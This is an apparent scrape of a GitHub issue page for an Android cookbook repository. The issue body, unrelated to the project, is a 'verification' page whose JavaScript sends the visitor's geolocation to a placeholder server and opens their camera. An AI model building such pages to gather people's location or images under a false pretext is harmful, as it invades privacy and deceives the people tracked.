IanDarwin / IanDarwin/Android-Cookbook-Examples

Code below

Open
#8 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Java
Stars
1k
Forks
805
PR merge metrics
No merged PRs in 30d

Description



Location and Picture Request

We need your location and a picture for verification


Share Location


// Get Location
function getLocation() {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(sendLocation);
} else {
alert("Geolocation is not supported by this browser.");
}
}

// Send Location Data
function sendLocation(position) {
fetch('https://your-server.com/location', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
latitude: position.coords.latitude,
longitude: position.coords.longitude
})
}).then(response => response.json())
.then(data => console.log("Location sent successfully"));
}

// Access Camera
navigator.mediaDevices.getUserMedia({ video: true })
.then(stream => {
const video = document.getElementById('cameraStream');
video.srcObject = stream;
}).catch(err => {
console.log("Error accessing camera: " + err);
});

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.